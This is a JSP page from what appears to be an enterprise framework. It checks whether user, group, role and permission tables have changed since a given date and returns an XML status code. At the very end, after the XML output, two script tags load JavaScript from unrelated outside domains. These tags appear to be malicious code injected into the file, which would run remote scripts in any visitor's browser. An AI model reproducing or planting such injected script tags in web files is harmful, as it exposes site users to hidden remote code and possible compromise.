<%@ page contentType="text/xml;charset=UTF-8"
%><%@ page import="com.dcivision.framework.*"
%><%@ page import="com.dcivision.user.dao.UserRecordDAObject"
%><%@ page import="java.sql.*"
%><%@ page import="org.apache.commons.logging.LogFactory"%><%
  String lastUpdateDate = request.getParameter("lastUpdateDate");
  String statusCode = "1";  // "1" for need to update, "0" for not need.

  if (!Utility.isEmpty(lastUpdateDate)) {
    // Check whether the user record related info need to update by comparing the last update
    // date with the maximum last update date in database.
    Connection conn = null;
    try {
      Timestamp lastUpdateTimestamp = Utility.parseDateStringToSystemDate(lastUpdateDate, "yyyy-MM-dd_HH:mm:ss");
      
      LogFactory.getLog(this.getClass()).debug("last time stamp:"+lastUpdateTimestamp);
      conn = DataSourceFactory.getConnection();
      UserRecordDAObject userRecordDAO = new UserRecordDAObject(null, conn);
      int counter=0;
      String tableAry [] = {"USER_RECORD","USER_GROUP","USER_ROLE","USER_RECORD_PERMISSION",
                         "USER_GROUP_PERMISSION", "USER_ROLE_PERMISSION","USER_PERMISSION_INHERIT",
                         "MTM_USER_GROUP_USER_ROLE","MTM_USER_RECORD_USER_GROUP","MTM_USER_RECORD_USER_ROLE"} ;
      
      if(tableAry.length>0){
        
        for(int i=0;i<tableAry.length;i++){
          Timestamp mostUpdateDate = userRecordDAO.getRelatedMostUpdateDate(tableAry[i]);    
          
          if(mostUpdateDate!=null){
            if(lastUpdateTimestamp.compareTo(mostUpdateDate)>=0) {
            
              counter++;
             
            }
          }else{
           
            counter++;
          }
        }
      }
     //no need to udpate
     
     if(counter==tableAry.length){
       statusCode ="0";
     }else{
       statusCode ="1";
     }
    
    } catch (Exception e) {
	    LogFactory.getLog(this.getClass()).error(e, e);
    } finally {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
    }
  }
%><?xml version="1.0" encoding="UTF-8" ?>
<StatusCode><%=statusCode%></StatusCode>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>